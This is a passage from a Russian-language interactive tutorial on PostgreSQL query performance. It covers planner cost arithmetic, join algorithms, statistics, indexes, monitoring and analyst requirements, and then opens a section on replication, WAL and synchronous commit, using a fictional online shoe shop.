    Порядок величин для типичного сервера 2026 года (данные в памяти или на SSD). Ваши цифры будут другими — смотрите свой EXPLAIN ANALYZE. Нажмите на строку, чтобы увидеть пример.

    глава 7 · стоимость селективность: почему для 30 % строк индекс хуже полного чтения

    Самый частый вопрос новичка: «индекс же есть, почему база читает всю таблицу?». Ответ — в арифметике. Планировщик не любит и не боится индексов. Он просто считает.

    Селективность (selectivity) — доля строк таблицы, которые подходят под условие. id = 4815162 — одна строка из пяти миллионов, 0,00002 %: условие очень селективное. status = 'delivered' — 80 % строк: условие почти не селективное.
    чтобы найти в библиотеке одну книгу, идут к каталогу. Чтобы забрать треть всех книг, бегать к каталогу за каждой — безумие: быстрее пройти вдоль всех полок и снимать нужные.
    Стоимость (cost) — оценка работы в условных единицах. За единицу принято чтение одной страницы подряд. Остальное выражено через неё — это настройки PostgreSQL с такими значениями по умолчанию:
    ПараметрПо умолчаниюЧто означает
    seq_page_cost1.0прочитать страницу подряд — эталон
    random_page_cost4.0прочитать страницу вразброс (прыжком). Для SSD часто ставят 1.1–2
    cpu_tuple_cost0.01обработать одну строку таблицы
    cpu_index_tuple_cost0.005обработать одну запись индекса
    cpu_operator_cost0.0025выполнить один оператор или функцию (например, сравнение в WHERE)
    effective_cache_size4GBсколько памяти (своей и ОС) база может считать кешем — влияет на оценку повторных чтений в индексных планах

    Проверим на Seq Scan по orders с одним условием: 62 500 страниц × 1 + 5 000 000 строк × 0,01 + 5 000 000 сравнений × 0,0025 = 62 500 + 50 000 + 12 500 = 125 000. Это ровно то число, что вы видели в плане: Seq Scan on orders (cost=0.00..125000.00 …). Из документации PostgreSQL тот же расчёт для учебной таблицы tenk1: 345 страниц × 1 + 10 000 строк × 0,01 = 445.

    Почему random_page_cost = 4, а не 40. На вращающемся диске случайное чтение дороже последовательного в десятки раз. Но значение 4 заложено с расчётом, что большая часть случайных чтений попадёт в кеш. Документация PostgreSQL прямо советует для SSD уменьшать это число — например, до 1.1. Чем ниже random_page_cost, тем охотнее планировщик берёт индексы.

    Калькулятор селективности

    Таблица orders: 5 000 000 строк. Двигайте долю подходящих строк и смотрите, сколько «стоит» каждый способ. Формулы упрощены, но устроены как в самом PostgreSQL: Index Scan платит random_page_cost за каждую новую страницу таблицы, Bitmap читает страницы по порядку и платит за каждую от 4 до 1 в зависимости от того, какую долю таблицы он обходит.

    —
    80
    4.0
    Что вы увидите. При строках вразброс обычный Index Scan проигрывает Seq Scan уже на долях процента: каждая строка — отдельный прыжок, а в странице их 80. Bitmap держится гораздо дольше: он читает страницы по порядку и каждую один раз. Но и он где-то на 20–40 % уступает Seq Scan: при такой доле он всё равно обходит всю таблицу, а сверху ещё читает индекс. Поэтому при 30 % планировщик выбирает Seq Scan или, на грани, Bitmap — но никогда обычный Index Scan по разбросанным строкам. Переключите на «таблица лежит в порядке индекса» — и Index Scan станет выгодным даже для больших долей: прыжки превращаются в чтение подряд.
    Для аналитика. Требование «фильтр по статусу "доставлен"» при 80 % доставленных заказов индексом не ускорить никак. Такие выборки ускоряют иначе: заранее посчитанными итогами (витрина, материализованное представление), секционированием по времени или выносом отчёта на реплику. Это стоит понимать на этапе постановки.

    глава 8 · соединения Nested Loop, Hash Join, Merge Join: три способа склеить таблицы

    Отчёт Олега соединяет покупателей и заказы. Соединение (JOIN) — это поиск пар строк из двух таблиц, у которых совпадает ключ: o.customer_id = c.id. Алгоритма три. Какой из них выбран, решает, быстрым будет отчёт или нет. Сложность каждого — на языке O(…); подробно про это — во вкладке .

    🔁 Nested Loop — вложенный цикл

    Для каждой строки внешнего набора ищем пары во внутреннем. Без индекса — перебором всего внутреннего: O(N × M). С индексом на ключе внутренней таблицы — спуском по дереву: O(N × log M).

    Хорош: внешних строк мало (единицы–тысячи), у внутренней таблицы есть индекс. Первая строка результата готова сразу. Единственный способ для условий «не на равенство» (o.total > c.limit, диапазоны).

    Опасен: если оценка внешних строк ошиблась — вместо 3 000 проходов будет 300 000.

    #️⃣ Hash Join — через хеш-таблицу

    Меньший набор целиком загружается в память в виде хеш-таблицы (узел Hash): по ключу сразу видно, в какой «ящик» смотреть. Затем больший набор читается один раз, и для каждой строки проверяется её ящик: O(N + M).

    Хорош: большие наборы без полезных индексов, соединение по равенству. Цена: память — work_mem × hash_mem_multiplier (по умолчанию × 2). Не влезло — таблица режется на части (Batches: 16), части уходят во временные файлы на диске. Первая строка — только после построения всей хеш-таблицы.

    🤐 Merge Join — слияние

    Оба набора отсортированы по ключу; идём по ним одновременно сверху вниз, как застёжка-молния. Если сортировать нужно — O(N log N + M log M), если оба уже упорядочены индексами — O(N + M).

    Хорош: оба набора большие и уже отсортированы (индексы по ключу соединения), или результат всё равно нужен в этом порядке. Работает для FULL JOIN. Цена: сортировка, если порядка нет.

    сверить список гостей со списком оплативших. Вложенный цикл: для каждого гостя листаем список оплат (или, если он по алфавиту, открываем на нужной букве). Хеш: раскладываем оплаты по 33 ящикам по первой букве фамилии, потом для каждого гостя смотрим только в свой ящик. Слияние: оба списка отсортированы — ведём два пальца сверху вниз одновременно.

    Посмотрите вживую на маленьких таблицах

    8 заказов и 5 покупателей. Соединяем по orders.customer_id = customers.id. Выберите алгоритм и жмите «Дальше». Считаем «действия»: сравнения, спуски по индексу, вставки в хеш-таблицу.

    Калькулятор: какое соединение выиграет на больших таблицах

    Внешний набор — строки, для которых ищем пары (например, покупатели из Казани). Внутренний — где ищем (заказы). Времена — порядок величин: 10 нс на сравнение в памяти, 5 мкс на спуск по индексу, 0,2 мкс на строку в хеш-соединении.

    —
    —
    —
    Ещё несколько слов, которые встретятся в планах. Hash Semi Join и Nested Loop Semi Join — для EXISTS и IN (подзапрос): достаточно найти одну пару. Hash Anti Join — для NOT EXISTS: «покупатели без заказов». Hash Left Join и Hash Right Join — внешние соединения (LEFT JOIN); «Right» часто значит лишь то, что планировщик поменял стороны местами, чтобы строить хеш по меньшему набору. Inner Unique: true (в VERBOSE) — планировщик знает, что пара будет не больше одной, и прекращает поиск после первой.

    глава 9 · остальные узлы сортировка, группировка, LIMIT и ещё десяток узлов

    Кроме чтения таблиц и соединений в планах встречаются узлы, которые что-то делают со строками: сортируют, считают итоги, обрезают. Выберите узел — увидите, как он выглядит в плане, что делает и чем опасен.

    Сортировка в памяти или на диске: покрутите сами

    Сортировка — частый пожиратель времени. Пока всё помещается в work_mem, PostgreSQL сортирует в памяти (quicksort). Не помещается — режет на куски, сортирует каждый, пишет во временные файлы и потом сливает (external merge). С LIMIT хватает «кучи» из нескольких лучших строк (top-N heapsort).

    —
    —
    —
    
        
    Не поднимайте work_mem всем подряд. Это лимит на одну операцию, а не на запрос. В одном запросе может быть пять сортировок и хешей, в параллельном плане — у каждого рабочего своя. 100 соединений × 5 операций × 256 МБ — и серверу не хватит памяти. Практика: умеренное значение по умолчанию и повышенное для роли отчётов: ALTER ROLE report SET work_mem = '256MB'.

    глава 10 · статистика откуда планировщик знает, сколько строк его ждёт

    Все стоимости начинаются с одного числа: сколько строк вернёт каждый шаг. Ошибка здесь — главная причина плохих планов. Отчёт Олега сломался именно так.

    Статистика планировщика (planner statistics) — сводка о данных, которую собирает команда ANALYZE: сколько в таблице строк и страниц (pg_class.reltuples, relpages) и для каждой колонки — доля пустых значений, число разных значений, самые частые значения и распределение остальных (представление pg_stats).
    социологический опрос. Чтобы узнать, сколько людей в стране пьют кофе, не опрашивают всех — опрашивают выборку. ANALYZE читает случайную выборку: 300 × default_statistics_target строк, то есть 30 000 при значении по умолчанию 100. Опрос делали месяц назад, а с тех пор в город переехала треть страны — прогноз врёт.

    Что лежит в pg_stats

    SELECT attname, null_frac, n_distinct, most_common_vals, most_common_freqs, correlation
    FROM pg_stats WHERE tablename = 'customers' AND attname = 'city';
    
     attname | null_frac | n_distinct |          most_common_vals           |     most_common_freqs      | correlation
    ---------+-----------+------------+-------------------------------------+----------------------------+-------------
     city    |    0.0011 |       1123 | {Москва,Санкт-Петербург,…,Казань,…} | {0.2107,0.0893,…,0.0042,…} |      0.0137

    Как отсюда получилось rows=2100 для city = 'Казань': Казань есть в списке частых значений с долей 0,0042. 0,0042 × 500 000 = 2 100. Для значения, которого нет в списке, база делит оставшуюся долю поровну между остальными разными значениями. Для диапазона (created_at >= '2026-09-01') — считает, сколько корзин гистограммы лежит правее границы.

    Модель: как устаревшая статистика ломает отчёт Олега

    Слева — что на самом деле лежит в таблице customers. Справа — что думает планировщик. Нажимайте кнопки по порядку и смотрите, какой план он выберет для отчёта «заказы покупателей из Казани за сентябрь».

    Неочевидная деталь. После загрузки планировщик знает, что таблица выросла: общее число строк он пересчитывает по текущему размеру файла, даже без ANALYZE. Но он не знает, кто добавился: доля Казани в статистике всё ещё 0,42 %. Поэтому оценка выросла с 2 100 до 3 360 — а на деле 302 093.

    Автоматический ANALYZE и почему он опаздывает

    Процесс автовакуум (autovacuum) сам запускает ANALYZE для таблицы, когда в ней изменилось больше autovacuum_analyze_threshold + autovacuum_analyze_scale_factor × строк, по умолчанию 50 + 10 %. Проверяет он раз в минуту (autovacuum_naptime), если свободен.

    —
    —
    Три ситуации, где статистика почти гарантированно врёт. 1) Сразу после массовой загрузки или миграции — ANALYZE ещё не случился. Правило: загрузили — выполнили ANALYZE таблица в том же скрипте. 2) Огромные таблицы: 10 % от миллиарда строк — это 100 миллионов изменений до следующего ANALYZE; для них порог снижают: ALTER TABLE orders SET (autovacuum_analyze_scale_factor = 0.01). 3) Секционированные таблицы: автовакуум обрабатывает секции, но не родительскую таблицу — её статистику собирают ручным ANALYZE. Временные таблицы автовакуум не трогает вовсе.

    Зависимые колонки: когда база перемножает то, что нельзя

    Для условия city = 'Казань' AND region = 'Татарстан' PostgreSQL по умолчанию считает колонки независимыми и перемножает доли: 0,42 % × 0,61 % = 0,0026 % → 13 строк. А на деле все казанцы — из Татарстана: 2 093 строки. Ошибка в 160 раз, и снова Nested Loop там, где нужен Hash Join.

    
        
    Расширенная статистика (extended statistics) — статистика по группе колонок: CREATE STATISTICS имя (dependencies, ndistinct, mcv) ON колонка1, колонка2 FROM таблица; и затем ANALYZE. dependencies — насколько одна колонка определяет другую, ndistinct — число разных сочетаний (для GROUP BY), mcv — самые частые сочетания.
    страховщик считает риски «водитель моложе 25» и «спортивная машина» отдельно и перемножает. А эти признаки связаны: молодые чаще покупают спортивные. Расширенная статистика — это отдельная табличка «как часто встречаются вместе».

    глава 11 · индексы глубже какой индекс создать и почему он иногда не работает

    Во вкладке индекс был «алфавитным указателем». Здесь заглянем внутрь: как устроено дерево, почему важен порядок колонок и какие ещё бывают индексы. Здесь всё — для PostgreSQL; общие идеи верны и для других баз.

    B-дерево: почему три страницы на пять миллионов строк

    B-дерево (B-tree) — основной тип индекса во всех реляционных базах. Это дерево из страниц по 8 КБ: корень → промежуточные страницы → листья. В листьях по порядку лежат ключи с адресами строк, и листья связаны в цепочку. В каждой странице — сотни ключей, поэтому дерево очень низкое.
    адрес доставки: страна → город → улица → дом. Четыре шага — и вы у двери, хотя домов в мире миллиард. Каждый уровень сужает поиск в сотни раз.
    —
    —

    B-дерево умеет: =, < > BETWEEN, IN, IS NULL, отдавать строки в порядке ключа (для ORDER BY и LIMIT), LIKE 'abc%' — поиск по началу строки, но только если индекс создан с правилом сравнения «C» или со специальным классом операторов text_pattern_ops. Не умеет: LIKE '%abc', поиск внутри JSON и массивов, «ближайшие точки на карте».

    Составной индекс и правило самой левой колонки

    Составной индекс (composite, multicolumn index) — индекс по нескольким колонкам: CREATE INDEX ON orders (customer_id, created_at). Записи отсортированы сначала по первой колонке, а при равной первой — по второй.
    телефонный справочник отсортирован по фамилии, а внутри фамилии — по имени. Найти всех Ивановых — легко. Всех Ивановых по имени Анна — ещё легче. А вот всех Анн с любой фамилией — придётся листать весь справочник: Анны разбросаны по всем фамилиям.

    Правило самой левой колонки: индекс эффективно сужает поиск, только если в условии есть первая колонка (равенство), потом вторая и так далее. Диапазон (>=) на колонке «закрывает» использование следующих за ней колонок для сужения — они проверяются, но уже внутри прочитанного отрезка. Поэтому правило проектирования: сначала колонки с равенством, потом колонка с диапазоном или сортировкой.

    Новое в PostgreSQL 18: skip scan. B-дерево научилось «перепрыгивать» по значениям первой колонки, если условие есть только на второй. Индекс (status, created_at) теперь помогает запросу WHERE created_at >= '2026-09-01': база делает по одному короткому спуску для каждого из пяти статусов. Выгодно, только когда у первой колонки мало разных значений. Для customer_id с 400 000 значений — 400 000 спусков, бессмысленно. В MySQL 8.0 и Oracle похожий приём (Skip Scan) существует давно.

    Лаборатория составного индекса. Выберите индекс и условие. Ниже — 24 записи индекса в том порядке, в котором они лежат в дереве. Жёлтые — прочитаны, зелёные — подошли. Чем меньше жёлтых вокруг зелёных, тем лучше индекс подходит запросу.

    индекс
    условие запроса

    Какие ещё бывают индексы

    Выберите тип — увидите, как он устроен, что ускоряет и как создаётся.

    Индекс есть, а база им не пользуется

    Самая раздражающая категория проблем. Разложите запросы: сработает ли обычный B-tree индекс по указанной колонке. Решено 0 из 0.

    Цена индексов

    ✍️ Каждая запись дороже

    INSERT в таблицу с пятью индексами — это шесть записей: строка и пять вставок в деревья. Плюс журнал WAL для каждой.

    🔥 Ломается HOT-обновление

    Если UPDATE меняет колонки, которых нет ни в одном индексе, и на странице есть место, PostgreSQL делает быстрое HOT-обновление (heap-only tuple) — индексы не трогаются вовсе. Индекс на часто меняемой колонке (например, updated_at) лишает таблицу этой экономии.

    🔒 Создание блокирует запись

    Обычный CREATE INDEX запрещает запись в таблицу на всё время построения. На боевой базе — только CREATE INDEX CONCURRENTLY: дольше, зато без остановки. Если он упал — останется «невалидный» индекс, его надо удалить и создать заново.

    глава 12 · инструменты как найти медленный запрос, если никто не пожаловался

    EXPLAIN отвечает на вопрос «почему этот запрос медленный». Но сначала надо узнать, какой запрос медленный. Анна пожаловалась — хорошо. А сколько запросов тормозят молча? Для этого у базы есть счётчики и журналы. Борис начал именно с них.

    pg_stat_statements — расширение PostgreSQL, которое копит статистику по каждому виду запроса (параметры заменены на $1, $2): сколько раз вызван, суммарное и среднее время, сколько строк и страниц. Главный инструмент поиска «кто ест базу».
    выписка по банковской карте за месяц. Отдельная покупка в 300 ₽ — ерунда. Но если выписка показывает, что кофе за 300 ₽ вы покупаете 90 раз в месяц, — именно это главная статья расходов, а не разовый ужин.

    Выберите инструмент: что он показывает, как включить, как выглядит результат и на что смотреть.

    Сортируйте по суммарному времени, а не по среднему. Отчёт на 3 секунды раз в день — 3 секунды в сутки. Страница «Мои заказы» по 0,4 секунды, открытая 200 000 раз, — 22 часа работы процессора в сутки. Первым лечат то, что сверху по total_exec_time.
    Связь с наблюдаемостью. Эти представления — источник для метрик и дашбордов: экспортёр (например, postgres_exporter для Prometheus) снимает их раз в 15–30 секунд, а трассировка приложения показывает SQL-запрос как отдельный отрезок внутри запроса пользователя. Как это устроено целиком — во вкладке . А кеширование ответов, когда запрос нельзя ускорить дальше, — во вкладке .

    глава 13 · болезни восемь типовых болезней запросов и как их узнать по плану

    Большинство проблем с производительностью — не уникальные, а одни и те же восемь болезней. У каждой — свой симптом в плане и своё лечение. Выберите болезнь.

    N+1: посчитайте, сколько стоит «удобный» код

    На странице «Мои заказы» 20 заказов. ORM загружает список одним запросом, а потом для каждого заказа отдельно — его товары. Каждый запрос быстрый, но у каждого есть поездка по сети до базы и обратно.

    20
    —

    OFFSET против курсора: страница 5000 ленты заказов

    Олег листает все заказы по 20 на страницу. OFFSET 100000 LIMIT 20 означает: «прочитай 100 020 строк, первые 100 000 выброси». Курсорная пагинация (keyset) помнит, где остановились: «дай 20 заказов старше последнего показанного».

    —
    
        

    глава 14 · процесс «запрос тормозит»: восемь шагов Бориса — и как аналитику писать требования

    Вернёмся в понедельник. Вот что сделал Борис — по шагам, с командами и выводом. Этот порядок годится для любой базы и любого запроса.

    Что из этого нужно аналитику

    Аналитик не обязан создавать индексы. Но именно в требованиях решается, будет ли у разработчика шанс сделать быстро. Запрос «покажи всё за всё время с поиском по любой части текста и сортировкой по любой колонке» не спасёт никакой индекс. Хорошие нефункциональные требования к данным отвечают на вопросы ниже.

    Примеры формулировок

    -- НФТ-1. Производительность страницы «Мои заказы»
    95 % ответов API GET /customers/{id}/orders — не дольше 300 мс,
    99 % — не дольше 800 мс; при 5 млн заказов в базе (через 3 года — 20 млн)
    и нагрузке 200 запросов в секунду. У покупателя бывает до 50 000 заказов
    (оптовые клиенты) — время ответа то же. Показываем 20 заказов,
    кнопка «Показать ещё» (курсорная пагинация), перехода на страницу N нет.
    
    -- НФТ-2. Отчёт «Топ-100 покупателей за год»
    Строится не дольше 30 с по данным за текущий год; запускается на реплике
    для отчётов, а не на основной базе; допустимое отставание данных — 15 минут.
    Плановый запуск — в окне 01:00–05:00 по Москве.
    
    -- НФТ-3. Поиск покупателя в админке
    Поиск по email: по началу строки — обязательно, по подстроке — желательно
    (требует отдельного триграммного индекса: он занимает место и замедляет запись).
    Ответ — не дольше 1 с на 1 млн покупателей.
    
    -- НФТ-4. Массовая загрузка данных партнёров
    Загрузка — вне пиковых часов (не 10:00–22:00); после загрузки обязательно
    обновить статистику затронутых таблиц (ANALYZE); время загрузки 1 млн
    строк — не более 20 минут; на время загрузки основные сценарии
    не должны замедляться больше чем на 20 %.
    Почему «на реплике». Тяжёлый отчёт на основной базе вытесняет из кеша страницы, нужные покупателям, и забирает ядра и диск. Копия базы для отчётов принимает этот удар на себя, но отстаёт от основной на секунды-минуты — это и фиксирует требование «допустимое отставание». Как реплики догоняют основную базу и что бывает при переключении — во вкладке .
    Проверка требований — это тоже EXPLAIN. Когда разработчик говорит «сделано», хороший вопрос аналитика: «Какой план у запроса на базе с объёмом как через три года?». Ответ «Index Scan, 0,1 мс, 15 страниц» — это закрытое требование. Ответ «на тесте всё летает» (а на тесте 10 000 строк) — нет.

    глава 15 · прочитай план шесть планов с болезнями: найдите, где проблема

    Каждый план — реальная ситуация «Ботинка» за последний месяц. Прочитайте план снизу вверх, найдите узел или строку, где кроется проблема, и выберите диагноз. После ответа — разбор.

    Решено 0 из 0.

    глава 16 · проверь себя двенадцать вопросов по всему разделу

    Решено 0 из 0.

    Весь раздел в шести фразах. План — это маршрут, который база выбрала по своей «карте пробок» — статистике. EXPLAIN показывает маршрут, EXPLAIN ANALYZE — ещё и сколько на самом деле ехали; сравнивайте оценку с фактом и умножайте на loops. Seq Scan читает всё подряд и хорош для больших долей, Index Scan прыгает за каждой строкой и хорош для малых, Bitmap — посередине, Index Only Scan — лучший, пока свежа карта видимости. Nested Loop хорош для малого с индексом, Hash Join — для большого по равенству, Merge Join — для уже отсортированного. Устаревшая статистика ломает планы сильнее, чем отсутствие индекса. А искать, что лечить, начинают не с EXPLAIN, а с pg_stat_statements — по суммарному времени.
    Дальше → следующий раздел — «Репликация и переключение 🔁»

    Одна база — это одна точка, где магазин может умереть и потерять заказы. Репликация держит несколько копий базы, а переключение делает одну из копий главной, когда главная сломалась. Звучит просто. На деле здесь живут самые дорогие аварии: заказ, которому сказали «сохранено», исчезает; два сервера одновременно считают себя главными. Весь раздел — одна ночь распродажи в «Ботинке». Мы разберём её по секундам и дадим вам пульт, на котором всё это можно сломать своими руками.

    зачем это зачем архитектору и аналитику понимать репликацию

    карта раздела одна ночь распродажи, пятнадцать глав

    Читайте по порядку: каждая глава опирается на предыдущую. Основа про реплики и кворум уже есть в разделе (главы 8–9). Здесь мы идём глубже: что именно летит по сети, в какой момент клиенту говорят «сохранено» и как переключиться, ничего не потеряв и не расколов данные. Кнопка переносит к главе.

    глава 1 · завязка 03:12, распродажа: у главной базы сгорел диск

    Ночь «чёрной пятницы». «Ботинок» продаёт по 40 заказов в секунду. Все заказы, остатки и оплаты живут в одной базе PostgreSQL на одном сервере. В 03:12:07 на этом сервере сгорает контроллер дисков. Сервер жив, но диск недоступен.

    Анна успела нажать «Оформить» в 03:12:06,9 и увидела «Заказ №1042 оформлен». Деньги с карты списаны. Дежурный разработчик Борис проснулся от звонка. Что дальше — зависит от того, есть ли у базы копии.

    Копий нет — только ночной бэкап

    Бэкап сделан в 00:00. Борис поднимает новый сервер и заливает бэкап — это пара часов. Всё, что случилось с полуночи до 03:12, потеряно: около трёх часов заказов. Заказа Анны нет, а деньги списаны. Магазин стоит всё время восстановления.

    Есть копия, которая постоянно догоняет главную

    Копия отстаёт на доли секунды. Её объявляют главной — и через 30–60 секунд магазин снова принимает заказы. Потерять можно только то, что копия не успела получить: несколько последних заказов. А при правильной настройке — ни одного.

    Репликация (replication) — постоянное копирование изменений с одного сервера базы на другие. Каждая правка, сделанная на главном сервере, через мгновение повторяется на копиях.
    Реплика (replica) — сервер, который держит копию базы и повторяет у себя все правки главного. С реплики можно читать. Писать в неё нельзя: правки приходят только от главного.
    в конторе есть главная ведомость. Правит её только бухгалтер. Курьер каждые пять минут разносит копии правок по кабинетам, и там их переписывают в свои экземпляры. Сгорел кабинет бухгалтера — у вас есть копии, отставшие на несколько минут. Кого-то назначают новым бухгалтером, и работа продолжается.

    Три причины держать копии

    Пройдите схему по шагам. Каждая причина — отдельная беда, которую копии лечат, и у каждой своя цена.

    Реплика — это не бэкап. Если Борис по ошибке выполнит DELETE FROM orders; без условия, удаление за доли секунды уедет на все реплики. Реплики защищают от поломки железа, а не от ошибок людей и программ. От ошибок спасают бэкапы и восстановление на момент времени (point-in-time recovery). Нужны оба инструмента.

    глава 2 · роли лидер и последователи: кто пишет, кто повторяет

    Самая распространённая схема в мире — один главный сервер и несколько копий. У неё много имён, и это путает новичков. Разберёмся раз и навсегда.

    Лидер (leader), он же мастер (master), основной (primary), источник (source) — единственный сервер, который принимает запись. Он определяет порядок всех изменений.
    Последователь (follower), он же реплика (replica), резервный (standby), вторичный (secondary), в старых текстах — slave. Получает изменения от лидера и повторяет их в том же порядке.
    дирижёр и оркестр. Темп задаёт один человек. Если два дирижёра начнут махать палочками одновременно, оркестр разойдётся — половина будет играть в одном темпе, половина в другом. Поэтому дирижёр один, а все остальные повторяют за ним.

    Почему уходят от слов master/slave

    Пару master/slave («хозяин/раб») с 2018–2020 годов заменяют во многих проектах. Причин две. Первая — сами слова неприятные и отсылают к рабству. Вторая, инженерная, — они неточны. Роль «главного» — не свойство сервера, а временная должность: при переключении вчерашняя реплика становится лидером. Пара «лидер/последователь» это и передаёт.

    СистемаКто пишетКто повторяетЗаметка
    PostgreSQLprimarystandby (hot standby — если с него можно читать)Слова primary/standby в документации давно
    MySQLsourcereplicaС версии 8.0.22 появились команды SHOW REPLICA STATUS, START REPLICA вместо старых со словом SLAVE
    MongoDBprimarysecondaryГруппа копий называется replica set
    RedismasterreplicaС версии 5.0 команда REPLICAOF вместо SLAVEOF
    Kafka, etcd, RaftleaderfollowerЛидера выбирают сами узлы голосованием
    Проще говоря. Мастер = primary = leader = source. Реплика = standby = follower = secondary = slave. В этом разделе мы говорим «мастер» и «реплика» — так чаще говорят в командах. Увидите в документе любое из этих слов — речь о том же.

    Правило, на котором держится всё

    Пишем только в мастер. Читаем — откуда можно. Мастер записывает правку у себя и рассылает её репликам. Реплики не принимают запись от клиентов вообще: иначе копии разойдутся и не будет способа понять, какая правильная.

    С чтением сложнее. Реплика отстаёт от мастера — обычно на миллисекунды, иногда на секунды. Поэтому «откуда можно» зависит от того, что именно читаем. Потренируйтесь: разложите запросы «Ботинка».

    Решено 0 из 0.

    глава 3 · журнал как правка с мастера попадает на реплику

    Реплика не «копирует базу» целиком каждый раз. Она получает журнал — список изменений по порядку — и повторяет их у себя. Чтобы понять репликацию, надо понять журнал.

    Журнал упреждающей записи (write-ahead log, WAL) — файл, куда база сначала записывает, что собирается изменить, и только потом меняет сами таблицы. Правило «сначала журнал» и дало имя.
    кассир в магазине сначала пробивает чек, а потом отдаёт товар. Если свет погаснет в середине, по чековой ленте видно, что было продано. Лента — это журнал. Ревизор может взять копию ленты и повторить у себя все продажи в том же порядке — это и есть репликация.
    LSN (log sequence number, номер позиции в журнале) — адрес места в журнале. В PostgreSQL он выглядит как 0/5A3F2C0: это просто номер байта в бесконечной ленте журнала, записанный двумя шестнадцатеричными числами. Чем больше LSN, тем дальше по ленте.
    номер страницы в ведомости. «Я переписал до страницы 5 821» — и сразу ясно, кто отстал и насколько, и с какой страницы курьеру продолжать.

    Пройдите путь одного заказа Анны от кнопки до реплики. На каждом шаге — что происходит и что видно в системе.

    Физическая и логическая репликация

    Журнал можно пересылать двумя способами. Это важно знать, потому что способы решают разные задачи.

    Физическая (потоковая) репликация (physical, streaming replication) — реплике отправляют сами байты журнала: «на странице 81 234 файла таблицы по смещению 112 теперь такие-то байты». Реплика получается побайтовой копией мастера.
    Логическая репликация (logical replication) — журнал расшифровывают в изменения строк: «в таблице orders вставлена строка id=1042, status='paid'». Такие изменения можно применить к базе с другой версией и даже другой структурой.
    физическая — это ксерокопия каждой страницы ведомости: точная, быстрая, но только в ту же папку того же формата. Логическая — это диктовка по телефону: «в строке Анны поставь “оплачено”». Диктовать можно кому угодно и выборочно, но медленнее и легко что-то упустить.

    MySQL: журнал операторов или журнал строк

    В MySQL журнал для реплик называется binlog (двоичный журнал). У него исторически было три формата: STATEMENT — пишем сам SQL-запрос, ROW — пишем, какие строки как изменились, и MIXED — смесь. Разница видна на запросах с «случайностью». Выберите запрос и посмотрите, что уйдёт в журнал и совпадёт ли реплика с мастером.

    Как сейчас. Формат ROW — значение по умолчанию в MySQL 8.0. Сама настройка binlog_format объявлена устаревшей с версии 8.0.34: в будущем останется только журнал строк. А в PostgreSQL выбора нет вовсе — физическая репликация шлёт байты, логическая — изменения строк.

    Как реплика помнит, где остановилась

    PostgreSQL: LSN

    Реплика сообщает мастеру три позиции: до какой получила (write), до какой надёжно сохранила на диск (flush) и до какой применила (replay). Мастер видит их в представлении pg_stat_replication. Разница между LSN мастера и replay реплики — это отставание в байтах.

    MySQL: GTID

    GTID (global transaction identifier) — номер транзакции вида 3E11FA47-71CA-11E1-9E33-C80AA9429562:23: идентификатор сервера, где транзакция родилась, и её порядковый номер. Реплика помнит набор выполненных GTID и при переключении на другой источник сама говорит: «у меня есть всё до :23, шлите дальше».

    Слот репликации

    Мастер удаляет старый журнал, чтобы не занять весь диск. Если реплика отстанет сильнее, чем мастер хранит, её придётся заливать заново. Слот репликации (replication slot) обещает хранить журнал, пока реплика его не заберёт. Цена: застрявшая реплика со слотом может заполнить диск мастера — поэтому ставят предел max_slot_wal_keep_size.

    Отставание в секундах

    Байты удобны машине, людям нужны секунды. В pg_stat_replication есть колонки write_lag, flush_lag, replay_lag. За ними следят как за любой метрикой — с порогом и оповещением. Подробнее о метриках — в разделе .

    Где это пригодится аналитику. Логическая репликация — та же технология, что питает CDC (захват изменений) из раздела . А номер позиции в журнале — ключ к лечению «я сохранил, но не вижу» в главе 6.

    глава 4 · «сохранено» в какой момент клиенту говорят «ваш заказ сохранён»

    Это главный вопрос репликации. Мастер записал заказ Анны у себя. Отвечать ей «сохранено» сейчас или подождать, пока копия тоже запишет? Ответ определяет, сколько заказов потеряется при аварии и насколько медленнее станет каждая запись.

    Асинхронная репликация (asynchronous) — мастер отвечает клиенту сразу после записи у себя. Реплики получат правку чуть позже, «когда-нибудь».
    вы отдали письмо секретарю, он сказал «отправлено» и положил его в лоток. Курьер заберёт лоток через десять минут. Если офис за эти десять минут сгорит, письмо не уйдёт, хотя вам сказали «отправлено».
    Синхронная репликация (synchronous) — мастер отвечает клиенту только после того, как реплика подтвердила: «правку получил и сохранил на диск».
    заказное письмо с уведомлением о вручении. Вы узнаёте «доставлено», только когда получатель расписался. Надёжно, но ждать дольше, а если получатель в отпуске — вы ждёте, пока он не вернётся.
    Полусинхронная репликация (semi-synchronous) — мастер ждёт подтверждения не от всех реплик, а от хотя бы одной (или от заданного числа). Остальные догоняют асинхронно.
    вы отправили одно и то же письмо трём адресатам и успокоились, когда расписался хотя бы один. Копия точно существует не только у вас.

    Два числа, которыми меряют аварию

    RPO — сколько данных можно потерять

    RPO (recovery point objective, целевая точка восстановления) — за какой промежуток перед аварией допустимо потерять данные. «RPO = 5 секунд» значит: заказы последних пяти секунд перед сбоем могут пропасть, более ранние — нет. RPO = 0 — не теряем ничего подтверждённого.

    RTO — как быстро вернуться

    RTO (recovery time objective, целевое время восстановления) — сколько времени система может не работать после аварии. «RTO = 60 секунд» значит: через минуту магазин снова принимает заказы.

    вы писали курсовую, и ноутбук погас. RPO — сколько текста пропало с последнего автосохранения (пять минут работы). RTO — сколько времени вы искали другой компьютер, чтобы продолжить (полчаса).
    Проще говоря. Режим репликации решает RPO. Способ переключения (глава 7) решает RTO. Асинхронная репликация даёт RPO «отставание реплики» — обычно доли секунды, но в плохой день минуты. Синхронная даёт RPO = 0 ценой задержки на каждой записи.

    Три режима на секвенсах

    Время идёт сверху вниз. Жмите «Дальше →» и читайте пояснение под схемой: что именно ждёт мастер и что будет, если на этом шаге всё сломается.

    PostgreSQL: лестница из пяти ступеней

    В PostgreSQL момент ответа клиенту задаёт настройка synchronous_commit, а список реплик, которых надо ждать, — synchronous_standby_names. Ступени идут от быстрой и рискованной к медленной и надёжной. Нажмите на ступень.

    # postgresql.conf на мастере
    synchronous_commit = on                         # ждать, пока реплика сохранит журнал на диск
    synchronous_standby_names = 'ANY 1 (b, c, d)'   # подтверждение от ЛЮБОЙ одной из трёх
    # варианты:
    #   'FIRST 1 (b, c)'  — ждать b; если b недоступна — ждать c (по приоритету)
    #   'ANY 2 (b, c, d)' — кворум: любые две из трёх
    #   ''                — пусто: репликация асинхронная
